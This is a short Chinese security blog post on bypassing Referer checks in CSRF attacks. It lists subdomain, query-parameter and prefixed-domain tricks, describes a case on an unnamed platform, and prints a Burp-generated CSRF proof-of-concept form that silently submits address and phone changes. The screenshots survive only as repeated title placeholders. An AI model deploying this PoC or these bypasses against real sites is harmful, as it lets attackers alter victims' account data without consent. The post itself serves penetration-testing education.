Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,如果遇见了Referer的限制比较死的无法利用了

正常请求:

《Csrf中的Referer绕过总结》

绕过思路:

子域名方式

《Csrf中的Referer绕过总结》

参数?传递

《Csrf中的Referer绕过总结》

域名前面增加随机的a-z和0-9也可以进绕过

《Csrf中的Referer绕过总结》

案例:

某平台Csrf漏洞但是其验证Referer

《Csrf中的Referer绕过总结》

提交

《Csrf中的Referer绕过总结》

通过测试发现可通过子域名方式绕过

《Csrf中的Referer绕过总结》

通过多级域名设置

构造Csrf Poc

<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<script>history.pushState(”, ”, ‘/’)</script>
<form action=”https://xxx.com/address/saveOrUpdate” method=”POST”>
<input type=”hidden” name=”id” value=”5″ />
<input type=”hidden” name=”name” value=”aaa” />
<input type=”hidden” name=”sex” value=”1″ />
<input type=”hidden” name=”area” value=”8601101″ />
<input type=”hidden” name=”detailedAddress” value=”Hello-csrf-Referer” />
<input type=”hidden” name=”code” value=”” />
<input type=”hidden” name=”linkPhone” value=”13331333133″ />
<input type=”hidden” name=”officePhone1″ value=”” />
<input type=”hidden” name=”officePhone2″ value=”” />
<input type=”hidden” name=”isDefault” value=”1″ />
<input type=”hidden” name=”isDefault” value=”1″ />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>

提交看效果

《Csrf中的Referer绕过总结》

《Csrf中的Referer绕过总结》

查看结果

《Csrf中的Referer绕过总结》

 

总结:

对于Referer的验证限制打开思路,如果限制比较死的话,可通过其它组合拳(xss、jsonp、URL跳转等)来进行攻击,根据环境来完成攻击